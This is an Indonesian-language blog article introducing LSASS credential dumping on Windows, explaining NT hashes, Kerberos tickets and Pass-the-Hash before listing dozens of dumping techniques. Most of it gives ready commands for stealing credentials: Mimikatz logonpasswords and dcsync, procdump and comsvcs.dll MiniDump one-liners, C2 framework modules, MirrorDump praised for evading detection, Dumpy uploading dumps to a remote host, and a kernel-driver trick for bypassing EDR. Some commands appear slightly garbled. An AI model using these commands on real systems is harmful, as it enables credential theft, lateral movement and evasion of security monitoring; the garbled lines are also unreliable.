Pengantar Hacking LSASS Pada Sistem Operasi Windows

28 Sep 2024

sysbraykr.com news - Local Security Authority Subsystem Service (LSASS) adalah sebuah proses penting di sistem operasi Windows yang bertugas untuk mengelola berbagai subsistem otentikasi. File eksekusi dari proses ini adalah C:\Windows\System32\lsass.exe. Proses LSASS berfungsi untuk memeriksa kredensial akun lokal dan domain ketika pengguna mencoba mengakses sistem, menghasilkan security token untuk sesi pengguna aktif, serta bekerja sama dengan penyedia dukungan keamanan (Security Support Provider, SSP).


Konsep Single Sign-On (SSO) di Active Directory


Didalam Active Directory, konsep Single Sign-On (SSO) diterapkan, di mana LSASS menyimpan berbagai materi autentikasi dari pengguna yang sudah login, seperti NT hashes dan Kerberos tickets. NT hash adalah bentuk hash dari kata sandi yang digunakan dalam sistem keamanan Windows. Sedangkan Kerberos tickets adalah tiket autentikasi yang digunakan dalam protokol Kerberos untuk memastikan keamanan akses pengguna tanpa harus terus-menerus memasukkan kata sandi.


Tujuan dari SSO adalah agar pengguna tidak perlu mengetikkan kata sandinya setiap kali ingin mengakses sumber daya di jaringan. Pada masa lalu, LSASS memungkinkan pengambilan kata sandi dalam bentuk teks biasa melalui protokol WDigest (protokol otentikasi berbasis HTTP). Namun, mulai dari sistem operasi Windows Server 2008 R2, protokol ini dinonaktifkan secara default oleh Microsoft demi meningkatkan keamanan.


Implikasi dari LSASS Dump


Jika seorang penyerang berhasil melakukan dump pada proses LSASS, mereka dapat memperoleh NT hashes dan Kerberos tickets. Data ini memungkinkan penyerang untuk meningkatkan hak akses mereka di lingkungan Active Directory dalam waktu singkat. Dengan menggunakan teknik seperti Pass-the-Hash, Overpass-the-Hash, dan Pass-the-Ticket, penyerang dapat melakukan perpindahan horizontal di jaringan dengan cepat. Dalam proses ini, mereka akan terus mengumpulkan lebih banyak hash dan tiket autentikasi hingga akhirnya mendapatkan “kunci kerajaan” — yakni, data autentikasi administrator domain.


Istilah Teknis yang Penting:

  1. LSASS (Local Security Authority Subsystem Service): Proses penting di Windows yang bertugas mengelola otentikasi pengguna dan menghasilkan token keamanan. Lsass.exe berjalan di setiap komputer Windows sebagai bagian dari sistem keamanan.

  2. NT Hash: Bentuk hash dari kata sandi yang digunakan oleh sistem Windows untuk menyimpan kata sandi secara terenkripsi. Hash ini digunakan dalam proses autentikasi dan sangat berharga bagi penyerang jika berhasil diekstraksi.

  3. Kerberos Ticket: Tiket yang dikeluarkan oleh Kerberos, protokol otentikasi jaringan, yang memungkinkan pengguna mengakses sumber daya tanpa memasukkan kata sandi berkali-kali.

  4. Single Sign-On (SSO): Konsep autentikasi yang memungkinkan pengguna masuk ke beberapa sistem atau aplikasi hanya dengan satu kali login, sehingga tidak perlu memasukkan kata sandi berulang kali.

  5. WDigest: Protokol autentikasi berbasis HTTP yang dulu digunakan di sistem Windows untuk otentikasi tetapi sekarang dinonaktifkan secara default karena kelemahan keamanannya.

  6. Pass-the-Hash: Teknik serangan di mana penyerang menggunakan NT hash dari kata sandi untuk melakukan autentikasi tanpa perlu mengetahui kata sandi asli.

  7. Overpass-the-Hash: Variasi dari Pass-the-Hash di mana penyerang menggunakan NT hash untuk menghasilkan tiket Kerberos dan mendapatkan akses ke sumber daya jaringan.

  8. Pass-the-Ticket: Teknik serangan di mana penyerang menggunakan tiket Kerberos yang sudah diekstraksi untuk mendapatkan akses ke sistem tanpa perlu mengetahui kata sandi pengguna.

  9. Active Directory (AD): Layanan direktori yang digunakan di jaringan Windows untuk mengelola dan mengamankan sumber daya, pengguna, dan hak akses.

Mengambil dump dari LSASS bisa menjadi alat yang sangat kuat bagi penyerang dalam melakukan serangan pada lingkungan jaringan Windows. Dalam lingkungan yang menggunakan Active Directory, LSASS menyimpan kredensial penting yang memungkinkan akses lebih lanjut di jaringan. Oleh karena itu, sangat penting untuk memastikan bahwa keamanan di sekitar proses LSASS diperkuat, termasuk dengan mematikan protokol lama seperti WDigest dan mengimplementasikan langkah-langkah keamanan yang tepat di domain Active Directory.

Beberapa teknik untuk mengambil LSASS

Mimikatz

Mimikatz adalah alat yang paling dikenal untuk mengambil kredensial dari LSASS. Beberapa metode utama dalam Mimikatz meliputi:

  1. Sekurlsa::logonpasswords: Metode ini mengambil kredensial dari memori LSASS, termasuk hash NT, kata sandi teks biasa (jika tersedia), dan tiket Kerberos.

  2. Sekurlsa::minidump: Metode ini mengakses dump dari proses LSASS untuk diekstraksi dan dianalisis lebih lanjut. Minidump LSASS dapat diambil dan dianalisis secara offline dengan menggunakan alat seperti Mimikatz.

  3. lsadump::dcsync: Metode ini memungkinkan seorang penyerang untuk menyinkronkan data dari domain controller (DC) seolah-olah mereka adalah domain controller itu sendiri, sehingga bisa mengambil hash kata sandi tanpa memerlukan akses langsung ke LSASS.


ProcDump


ProcDump adalah alat dari Sysinternals yang dirancang untuk membuat dump dari proses yang berjalan, termasuk LSASS. Metode yang sering digunakan:

  1. procdump -ma lsass.exe lsass.dmp: Membuat dump penuh dari proses LSASS dan menyimpannya ke file lsass.dmp untuk dianalisis lebih lanjut.

  2. procdump -accepteula -64 -ma lsass.exe lsass.dmp: Sama seperti metode sebelumnya, tetapi mengabaikan dialog lisensi dan memastikan versi 64-bit digunakan.


Process Hacker

Process Hacker adalah alat manajemen proses yang kuat. Proses ini menyediakan antarmuka yang memudahkan pembuatan dump dari proses LSASS:

  1. System->LSASS process->Create Dump: Pengguna dapat secara manual memilih proses LSASS dan membuat dump dari proses tersebut melalui antarmuka GUI Process Hacker.


DumpIt


DumpIt adalah alat forensik yang memudahkan pembuatan dump memori seluruh sistem. Langkah-langkahnya meliputi:

  1. tasklist /FI “IMAGENAME eq lsass.exe”: Memeriksa apakah LSASS berjalan di sistem.

  2. DumpIt.exe PID output_file_name.bin: Membuat dump dari LSASS berdasarkan PID yang ditentukan dan menyimpannya ke file output.


Windows Debugging Tools


Windows Debugging Tools seperti WinDbg digunakan untuk menganalisis dan membuat dump dari proses. Metode yang sering digunakan:

  1. windbg -p .dump /ma c:\path\to\lsass.dmp .detach .q: Perintah ini digunakan untuk membuat dump dari LSASS melalui alat debugging WinDbg dan menyimpan hasilnya ke file dump.


FTK Imager


FTK Imager adalah alat populer untuk analisis forensik memori. Langkah yang digunakan:

  1. Create Disk Image: Opsi ini digunakan untuk membuat image disk atau memori, termasuk LSASS, yang kemudian dapat dianalisis lebih lanjut.

  2. Physical Drive Capture Memory LSASS.exe: Langsung menangkap memori dari LSASS.exe untuk mendapatkan data kredensial.


Volatility


Volatility adalah alat open-source untuk analisis forensik memori. Metode yang umum melibatkan:

  1. Pstree volatility -f memory_dump.raw — profile=Win7SP1x64: Menampilkan pohon proses untuk mengidentifikasi PID LSASS.

  2. memdump -p <lsass_pid> -D <output_directory>: Mengekstrak LSASS dari dump memori menggunakan PID yang ditemukan sebelumnya.


WinPmem


WinPmem adalah alat yang sering digunakan untuk forensik memori, mirip dengan DumpIt, tetapi lebih fleksibel:

  1. winpmem.exe -o dump.raw: Membuat dump dari seluruh memori termasuk proses LSASS ke dalam file output dump.raw.


hiberfil.sys


File hiberfil.sys adalah file yang menyimpan status hibernasi Windows, yang mencakup data memori aktif seperti LSASS. Metode yang digunakan adalah:

  1. windbg.exe -y srvc:\symbolsmsdl.microsoft.com/download/symbols -i c:\symbols -z C:\hiberfil.sys: Membuka file hiberfil.sys dan mengekstrak LSASS dari file tersebut untuk dianalisis.


Windows Error Reporting


Windows Error Reporting dapat dimodifikasi untuk menghasilkan dump dari LSASS:

  1. HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps->DumpType->2: Mengubah konfigurasi untuk membuat dump saat terjadi kesalahan pada LSASS.


Cobalt Strike + SharpDump


Cobalt Strike adalah framework untuk operasi red team. Bersama dengan SharpDump, alat ini dapat digunakan untuk mengambil dump dari LSASS:

  1. Execute-assembly SharpDump: Menjalankan SharpDump melalui Cobalt Strike untuk mengambil dump LSASS secara langsung.

  2. Mimikatz_command sekurlsa::minidump: Menggunakan Mimikatz dari dalam Cobalt Strike untuk membuat dump LSASS.

Brute Ratel C4 + Kiwi


Brute Ratel C4 adalah framework red teaming yang baru dan powerful, digunakan bersama Kiwi (sebuah modul Mimikatz):

  1. load kiwi Lsa_dump_sam: Mengambil dump dari LSASS untuk mengakses kredensial pengguna.


Metasploit + lsassy


Metasploit memiliki modul khusus untuk mengambil dump LSASS:

  1. use post/windows/gather/credentials/lsassy: Modul ini digunakan untuk mengekstrak kredensial dari proses LSASS di mesin target.


Covenant + SharpKatz


Covenant adalah C2 framework untuk operasi red teaming yang dapat digunakan bersama SharpKatz untuk mengambil dump dari LSASS:

  1. Create Task->Module->SharpKatz: Menjalankan modul SharpKatz di Covenant untuk mengambil dump kredensial dari LSASS.


Empire + wmiexec


Empire adalah C2 framework populer lainnya yang dapat menjalankan modul Mimikatz untuk mengambil dump LSASS:

  1. Modules credentials/mimikatz/lsass_dump: Menjalankan modul untuk mengambil dump kredensial LSASS.


Metode Lain untuk Mengambil Dump Lsass: Penggunaan Comsvcs.dll, MirrorDump, Dumpy, dan RToolZ


Setelah membahas berbagai metode untuk mengambil dump dari proses LSASS di Windows, berikut ini adalah beberapa teknik lanjutan yang menggunakan alat atau metode khusus. Alat-alat ini membantu dalam proses dumping LSASS dengan berbagai pendekatan, yang berguna dalam skenario red teaming, forensik, dan investigasi keamanan.


Comsvcs.dll


Comsvcs.dll adalah file sistem yang termasuk dalam layanan komponen (COM) Windows. Salah satu fitur dari file ini adalah MiniDump yang memungkinkan pembuatan dump dari proses yang berjalan, termasuk LSASS.

  1. regsvr32 comsvcs.dll: Memastikan comsvcs.dll terdaftar dalam sistem Windows sehingga dapat digunakan.

  2. rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump lsass.exe lsass.dmp full: Ini adalah perintah yang menggunakan comsvcs.dll untuk membuat dump dari proses LSASS dan menyimpan hasilnya di lsass.dmp. Penggunaan parameter full memastikan bahwa dump yang dihasilkan adalah dump penuh, mencakup semua informasi proses yang dibutuhkan untuk analisis lebih lanjut.

MirrorDump


MirrorDump adalah alat yang digunakan untuk membuat dump dari LSASS dengan pendekatan yang berbeda. Alih-alih langsung mengambil dump dari LSASS, alat ini membuat dump dari proses yang mirip atau mirroring file LSASS.


  1. .\MirrorDump.exe -f “NotLSASS.zip” -d “LegitLSAPlugin.dll” -l 1073741824: Menggunakan MirrorDump untuk membuat dump yang disimpan dalam format zip dan diinterpretasikan dengan menggunakan LegitLSAPlugin.dll. Alat ini membatasi ukuran dump hingga 1 GB.


MirrorDump sangat berguna untuk lingkungan di mana dump langsung dari LSASS mungkin diblokir atau terdeteksi oleh solusi keamanan. Dengan melakukan teknik mirroring, dump dapat dibuat dengan cara yang lebih stealthy dan aman dari deteksi.


Dumpy


Dumpy adalah alat ringan yang digunakan untuk membuat dump dari LSASS dan memungkinkan transfer file dump ke host jarak jauh untuk analisis lebih lanjut. Biasanya digunakan dalam lingkungan di mana penyerang perlu memindahkan hasil dump secara cepat.

  1. dumpy.exe dump -k secretKey -u remotehost/upload force: Perintah ini digunakan untuk membuat dump dari LSASS, mengenkripsinya menggunakan secretKey, dan kemudian mengunggah hasil dump ke server jarak jauh (remotehost/upload). Parameter force memastikan bahwa dump dibuat meskipun ada pembatasan sistem.


RToolZ + ProcExp152.sys


RToolZ adalah alat yang digunakan bersama dengan Process Explorer (procexp) untuk mengambil dump dari LSASS dengan menggunakan driver. ProcExp152.sys adalah driver kernel dari Process Explorer yang memungkinkan pengguna mengambil dump dari proses sistem dengan izin lebih tinggi.

  1. .\procexp64.exe -accepteula /t RToolZ -p: Menggunakan Process Explorer versi 64-bit dengan parameter /t untuk menjalankan alat RToolZ. Perintah ini memanfaatkan ProcExp152.sys untuk mem-bypass pembatasan sistem dan membuat dump dari LSASS dengan menggunakan RToolZ sebagai pengendali proses.


Metode ini sangat berguna dalam skenario di mana perlu adanya bypass pada mekanisme keamanan yang lebih ketat atau dalam sistem yang telah dipasang Endpoint Detection and Response (EDR). Driver ProcExp152.sys memberikan akses tingkat kernel yang memungkinkan pengambilan dump tanpa harus melalui proses otorisasi user-level yang biasa.

Pengantar Hacking LSASS Pada Sistem Operasi Windows

Latest Articles